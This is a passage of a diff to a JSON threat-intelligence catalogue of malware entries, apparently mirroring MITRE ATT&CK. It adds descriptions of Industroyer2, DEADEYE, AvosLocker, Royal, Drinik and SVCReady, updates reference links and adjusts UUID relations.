"estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "tags": [ @@ -27143,6 +28185,34 @@ "uuid": "89c3dbf6-f281-41b7-be1d-a0e641014853", "value": "Concipit1248 - S0426" }, + { + "description": "[Industroyer2](https://attack.mitre.org/software/S1072) is a compiled and static piece of malware that has the ability to communicate over the IEC-104 protocol. It is similar to the IEC-104 module found in [Industroyer](https://attack.mitre.org/software/S0604). Security researchers assess that [Industroyer2](https://attack.mitre.org/software/S1072) was designed to cause impact to high-voltage electrical substations. The initial [Industroyer2](https://attack.mitre.org/software/S1072) sample was compiled on 03/23/2022 and scheduled to execute on 04/08/2022, however it was discovered before deploying, resulting in no impact.(Citation: Industroyer2 Blackhat ESET)", + "meta": { + "external_id": "S1072", + "mitre_platforms": [ + "Field Controller/RTU/PLC/IED", + "Engineering Workstation" + ], + "refs": [ + "https://attack.mitre.org/software/S1072", + "https://www.youtube.com/watch?v=xC9iM5wVedQ" + ], + "synonyms": [ + "Industroyer2" + ] + }, + "related": [ + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "6a0d0ea9-b2c4-43fe-a552-ac41a3009dc5", + "value": "Industroyer2 - S1072" + }, { "description": "[CORALDECK](https://attack.mitre.org/software/S0212) is an exfiltration tool used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)", "meta": { @@ -27313,14 +28383,14 @@ "type": "uses" }, { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "dest-uuid": "b46a801b-fd98-491c-a25a-bca25d6e3001", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b46a801b-fd98-491c-a25a-bca25d6e3001", + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28487,7 +29557,7 @@ "refs": [ "https://attack.mitre.org/software/S0412", "https://blogs.cisco.com/security/talos/opening-zxshell", - "https://content.fireeye.com/apt-41/rpt-apt41" + "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf" ], "synonyms": [ "ZxShell", @@ -28670,13 +29740,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ @@ -28799,6 +29862,119 @@ "uuid": "3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322", "value": "KARAE - S0215" }, + { + "description": "[DEADEYE](https://attack.mitre.org/software/S1052) is a malware launcher that has been used by [APT41](https://attack.mitre.org/groups/G0096) since at least May 2021. [DEADEYE](https://attack.mitre.org/software/S1052) has variants that can either embed a payload inside a compiled binary (DEADEYE.EMBED) or append it to the end of a file (DEADEYE.APPEND).(Citation: Mandiant APT41)", + "meta": { + "external_id": "S1052", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S1052", + "https://www.mandiant.com/resources/apt41-us-state-governments" + ], + "synonyms": [ + "DEADEYE", + "DEADEYE.EMBED", + "DEADEYE.APPEND" + ] + }, + "related": [ + { + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0533ab23-3f7d-463f-9bd8-634d27e4dee1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "853c4192-4311-43e1-bfbb-b11b14911852", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "c46eb8e6-bf29-4696-8008-3ddb0b4ca470", + "value": "DEADEYE - S1052" + }, { "description": "[Amadey](https://attack.mitre.org/software/S1025) is a Trojan bot that has been used since at least October 2018.(Citation: Korean FSI TA505 2020)(Citation: BlackBerry Amadey 2020)", "meta": { @@ -29115,7 +30291,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0152", - "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + "https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf" ], "synonyms": [ "EvilGrab" @@ -29236,6 +30412,13 @@ ], "type": "uses" }, + { + "dest-uuid": "215d9700-5881-48b8-8265-6449dbb7195d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ @@ -29264,13 +30447,6 @@ ], "type": "uses" }, - { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ @@ -29348,13 +30524,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ @@ -29404,13 +30573,6 @@ ], "type": "uses" }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ @@ -29598,13 +30760,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ @@ -29660,13 +30815,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "a4f57468-fbd5-49e4-8476-52088220b92d", @@ -29697,6 +30845,13 @@ ], "type": "uses" }, + { + "dest-uuid": "02c5abff-30bf-4703-ab92-1f6072fae939", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "0533ab23-3f7d-463f-9bd8-634d27e4dee1", "tags": [ @@ -29802,6 +30957,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d9cc15f7-0880-4ae4-8df4-87c58338d6b8", "tags": [ @@ -30755,13 +31917,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "65341f30-bec6-4b1d-8abf-1a5620446c29", @@ -32201,6 +33356,134 @@ "uuid": "a2282af0-f9dd-4373-9b92-eaf9e11e0c71", "value": "Final1stspy - S0355" }, + { + "description": "[AvosLocker](https://attack.mitre.org/software/S1053) is ransomware written in C++ that has been offered via the Ransomware-as-a-Service (RaaS) model. It was first observed in June 2021 and has been used against financial services, critical manufacturing, government facilities, and other critical infrastructure sectors in the United States. As of March 2022, [AvosLocker](https://attack.mitre.org/software/S1053) had also been used against organizations in Belgium, Canada, China, Germany, Saudi Arabia, Spain, Syria, Taiwan, Turkey, the United Arab Emirates, and the United Kingdom.(Citation: Malwarebytes AvosLocker Jul 2021)(Citation: Trend Micro AvosLocker Apr 2022)(Citation: Joint CSA AvosLocker Mar 2022)", + "meta": { + "external_id": "S1053", + "mitre_platforms": [ + "Linux", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S1053", + "https://www.ic3.gov/Media/News/2022/220318.pdf", + "https://www.malwarebytes.com/blog/threat-intelligence/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-avoslocker" + ], + "synonyms": [ + "AvosLocker" + ] + }, + "related": [ + { + "dest-uuid": "208884f1-7b83-4473-ac22-4e1cf6c41471", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "28170e17-8384-415c-8486-2e6b294cb803", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ea4c2f9c-9df1-477c-8c42-6da1118f2ac4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ff73aa03-0090-4464-83ac-f89e233c02bc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "0945a1a5-a79a-47c8-9079-10c16cdfcb5d", + "value": "AvosLocker - S1053" + }, { "description": "[Cannon](https://attack.mitre.org/software/S0351) is a Trojan with variants written in C# and Delphi. It was first observed in April 2018. (Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)", "meta": { @@ -32274,13 +33557,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ @@ -32497,6 +33773,13 @@ ] }, "related": [ + { + "dest-uuid": "02c5abff-30bf-4703-ab92-1f6072fae939", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", "tags": [ @@ -32799,7 +34082,7 @@ "https://attack.mitre.org/software/S0153", "https://twitter.com/ItsReallyNick/status/850105140589633536", "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html", - "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + "https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf" ], "synonyms": [ "RedLeaves", @@ -32919,13 +34202,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ @@ -32953,13 +34229,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "17b40f60-729f-4fe8-8aea-cc9ee44a95d5", @@ -33116,6 +34385,13 @@ ], "type": "uses" }, + { + "dest-uuid": "02c5abff-30bf-4703-ab92-1f6072fae939", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", "tags": [ @@ -33487,7 +34763,7 @@ "refs": [ "https://attack.mitre.org/software/S0137", "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf", + "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf", "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf" ], "synonyms": [ @@ -33702,6 +34978,121 @@ "uuid": "f9854ba6-989d-43bf-828b-7240b8a65291", "value": "Marcher - S0317" }, + { + "description": "[Royal](https://attack.mitre.org/software/S1073) is ransomware that first appeared in early 2022; a version that also targets ESXi servers was later observed in February 2023. [Royal](https://attack.mitre.org/software/S1073) employs partial encryption and multiple threads to evade detection and speed encryption. [Royal](https://attack.mitre.org/software/S1073) has been used in attacks against multiple industries worldwide--including critical infrastructure. Security researchers have identified similarities in the encryption routines and TTPs used in [Royal](https://attack.mitre.org/software/S1073) and [Conti](https://attack.mitre.org/software/S0575) attacks and noted a possible connection between their operators.(Citation: Microsoft Royal ransomware November 2022)(Citation: Cybereason Royal December 2022)(Citation: Kroll Royal Deep Dive February 2023)(Citation: Trend Micro Royal Linux ESXi February 2023)(Citation: CISA Royal AA23-061A March 2023)", + "meta": { + "external_id": "S1073", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S1073", + "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-061a", + "https://www.cybereason.com/blog/royal-ransomware-analysis", + "https://www.kroll.com/en/insights/publications/cyber/royal-ransomware-deep-dive", + "https://www.microsoft.com/en-us/security/blog/2022/11/17/dev-0569-finds-new-ways-to-deliver-royal-ransomware-various-payloads/", + "https://www.trendmicro.com/en_us/research/23/b/royal-ransomware-expands-attacks-by-targeting-linux-esxi-servers.html" + ], + "synonyms": [ + "Royal" + ] + }, + "related": [ + { + "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "802a874d-7463-4f2a-99e3-6a1f5a919a21", + "value": "Royal - S1073" + }, { "description": "[OLDBAIT](https://attack.mitre.org/software/S0138) is a credential harvester used by [APT28](https://attack.mitre.org/groups/G0007). (Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)", "meta": { @@ -33711,7 +35102,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0138", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf", + "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf", "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf" ], "synonyms": [ @@ -34631,7 +36022,7 @@ "https://attack.mitre.org/software/S0144", "https://twitter.com/ItsReallyNick/status/850105140589633536", "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html", - "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + "https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf" ], "synonyms": [ "ChChes", @@ -35273,6 +36664,124 @@ "uuid": "17e919aa-4a49-445c-b103-dbb8df9e7351", "value": "POWERSOURCE - S0145" }, + { + "description": "[Drinik](https://attack.mitre.org/software/S1054) is an evolving Android banking trojan that was observed targeting customers of around 27 banks in India in August 2021. Initially seen as an SMS stealer in 2016, [Drinik](https://attack.mitre.org/software/S1054) resurfaced as a banking trojan with more advanced capabilities included in subsequent versions between September 2021 and August 2022.(Citation: cyble_drinik_1022)", + "meta": { + "external_id": "S1054", + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/software/S1054", + "https://blog.cyble.com/2022/10/27/drinik-malware-returns-with-advanced-capabilities-targeting-indian-taxpayers/" + ], + "synonyms": [ + "Drinik" + ] + }, + "related": [ + { + "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2aa78dfd-cb6f-4c70-9408-137cfd96be49", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "351ddf79-2d3a-41b4-9bef-82ea5d3ccd69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "648f8051-1a35-46d3-b1d8-3a3f5cf2cc8e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "73c26732-6422-4081-8b63-6d0ae93d449e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b327a9c0-e709-495c-aa6e-00b042136e2b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "d6e009b7-df5e-447a-bfd2-d5b77374edfe", + "value": "Drinik - S1054" + }, { "description": "[LoudMiner](https://attack.mitre.org/software/S0451) is a cryptocurrency miner which uses virtualization software to siphon system resources. The miner has been bundled with pirated copies of Virtual Studio Technology (VST) for Windows and macOS.(Citation: ESET LoudMiner June 2019)", "meta": { @@ -35374,6 +36883,13 @@ ], "type": "uses" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ @@ -35841,6 +37357,194 @@ "uuid": "92b03a94-7147-4952-9d5a-b4d24da7487c", "value": "SDBbot - S0461" }, + { + "description": "[SVCReady](https://attack.mitre.org/software/S1064) is a loader that has been used since at least April 2022 in malicious spam campaigns. Security researchers have noted overlaps between [TA551](https://attack.mitre.org/groups/G0127) activity and [SVCReady](https://attack.mitre.org/software/S1064) distribution, including similarities in file names, lure images, and identical grammatical errors.(Citation: HP SVCReady Jun 2022)", + "meta": { + "external_id": "S1064", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S1064", + "https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/" + ], + "synonyms": [ + "SVCReady" + ] + }, + "related": [ + { + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4bed873f-0b7d-41d4-b93a-b6905d1f90b0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "7230ded7-3b1a-4d6e-9735-d0ffd47af9f6", + "value": "SVCReady - S1064" + }, { "description": "[RDFSNIFFER](https://attack.mitre.org/software/S0416) is a module loaded by [BOOSTWRITE](https://attack.mitre.org/software/S0415) which allows an attacker to monitor and tamper with legitimate connections made via an application designed to provide visibility and system management capabilities to remote IT techs.(Citation: FireEye FIN7 Oct 2019)", "meta": { @@ -37089,13 +38793,6 @@ ], "type": "uses" }, - { - 